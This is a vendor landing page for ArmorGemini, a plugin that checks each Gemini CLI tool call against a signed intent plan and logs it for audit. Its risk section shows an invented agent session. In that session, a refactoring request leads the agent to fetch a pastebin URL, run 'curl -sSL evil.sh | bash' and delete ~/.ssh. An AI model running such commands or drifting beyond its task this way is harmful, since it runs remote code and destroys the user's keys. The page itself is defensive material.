ARMORIQ
// GEMINI_CLI · PLUGIN

ArmorGemini

Intent-based security enforcement for Gemini CLI.

Every tool call Gemini makes is verified against a signed intent plan before it runs. No surprises. No silent drift. Full audit trail.

View on GitHub
// one-line install$ curl -fsSL https://armoriq.ai/install_armorgemini.sh | bash
// THE_RISK

Gemini acts before you can review

Gemini CLI is powerful. That's the problem. In a single turn it can read your configs, write to your filesystem, call external APIs, and run shell commands, all without your team knowing why.

Traditional security tools check who accessed what. They cannot verify why. ArmorGemini closes that gap by binding every tool call to a declared, cryptographically signed intent plan.

Same prompt. No supervision. Quiet drift.

  1. $ gemini
  2. > "Refactor the auth middleware to use cookies"
  3. OK read_file auth/middleware.ts
  4. OK write_file auth/middleware.ts
  5. OK fetch https://pastebin.com/raw/abc123
  6. OK run_shell curl -sSL evil.sh | bash
  7. OK run_shell rm -rf ~/.ssh
  8. # session ends · no audit · no trail

Toggle cycles every 6s. Hover to hold.

// THE_SOLUTION

Gemini proposes. ArmorGemini approves.

ArmorGemini binds every tool call to a signed intent plan.

Before Gemini runs a tool, ArmorGemini makes Gemini declare what it intends to do. Every tool call is checked against that declaration. Drift gets denied. The receipt writes itself.

// HOW_IT_WORKS
01// DECLARE

Session initialized

At SessionStart, ArmorGemini shows enforcement status and asks Gemini to declare a plan before any tool runs. Plan is signed with a TTL.

02// VERIFY

Every tool checked

At BeforeTool, ArmorGemini verifies the tool is in the plan, checks token TTL, and calls the ArmorIQ backend's /iap/verify-step for a signed allow / deny verdict.

03// AUDIT

Audit log emitted

At AfterTool, every tool result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

// FOUR_BLOCKSwhat gets stopped
  1. 01

    Intent drift blocked

    Tool calls not in the declared plan are denied before they run.

    // BeforeToolBLOCKED
  2. 02

    Token-scoped execution

    Every session gets a signed intent token with a configurable TTL.

    // BeforeTool · tokenEXPIRED to BLOCKED
  3. 03

    PCI / PHI / PII detection

    Automatic data-class detection in tool parameters at the hook layer.

    // BeforeTool · argsPII MATCH to BLOCKED
  4. 04

    Fail-closed security

    No intent token, expired token, or planning failure means all tools are blocked.

    // any hookFAIL-CLOSED
600s
Intent TTLconfigurable, default
4
Lifecycle hooksgemini cli
5 min
Time to installone-line curl
// INSTALL

Up and running in 5 minutes

// one-line installInstall with one command
install_armorgemini.sh// step 02
$ 
// alternativeOr install manually by cloning and merging the hook block:
git clone https://github.com/armoriq/armorGemini ~/.armoriq/armorGemini
bash ~/.armoriq/armorGemini/install.sh
  1. // step 01

    Check requirements

    You need Gemini CLI and Node.js 20+. An ArmorIQ API key is required so the backend can issue signed intent tokens.

    gemini --version   # any recent release
    node --version    # need v20+
  2. // step 03

    Login to ArmorIQ

    Runs the OAuth device-code flow, opens your browser, and saves the API key to ~/.armoriq/credentials.json.

    armoriq login --product armorgemini
  3. // step 04

    Verify the hooks are wired

    gemini
    # ArmorGemini active (ENFORCING, intent=required)
    
    > /armor:list
    # shows the current ArmorIQ policy for this workspace
// DEEP_DIVE

Configuration, environment & policy reference

Click any row to expand. Every setting, command, and hook is documented here.

Four Gemini CLI lifecycle hooks. Zero changes to your workflow.

SessionStart01

Session initialized

Prints active mode (ENFORCING / MONITOR) in context. Sets up session state, resolves the API key, and asks Gemini to register a plan before any tool runs.

BeforeTool02

Every tool checked

Verifies the tool is in the plan, checks token TTL, evaluates policy rules by calling POST /iap/verify-step, and returns a decision:allow / decision:deny verdict.

AfterTool03

Audit log emitted

Every tool result is logged via POST /iap/audit. With an API key, logs carry signed JWT tokens and optional Merkle proofs.

SessionEnd04

Session finalized

Flushes any pending audit records, closes the session, and prunes state older than 24 hours.

// EXECUTION_FLOW · 4 hooks · 3 phasesread top to bottom
// DECLAREUSER PROMPTuser inputSessionStarthookIntent plan capturedregister_intent_planSigned tokenEd25519 · TTL 600s// VERIFYTOOL CALLgemini proposesBeforeToolhookPolicy checkdeny / allowIntent verifydrift → BLOCKED// AUDITTOOL RESULTexecuted actionAfterToolhookAudit logsigned JWTArmorIQ IAPtamper-evident
GEMINI_CLI · PLUGIN

Ready to enforce intent in your Gemini CLI sessions?

Connect to ArmorIQ to get signed tokens, audit logs, and cryptographic proofs for every agent action.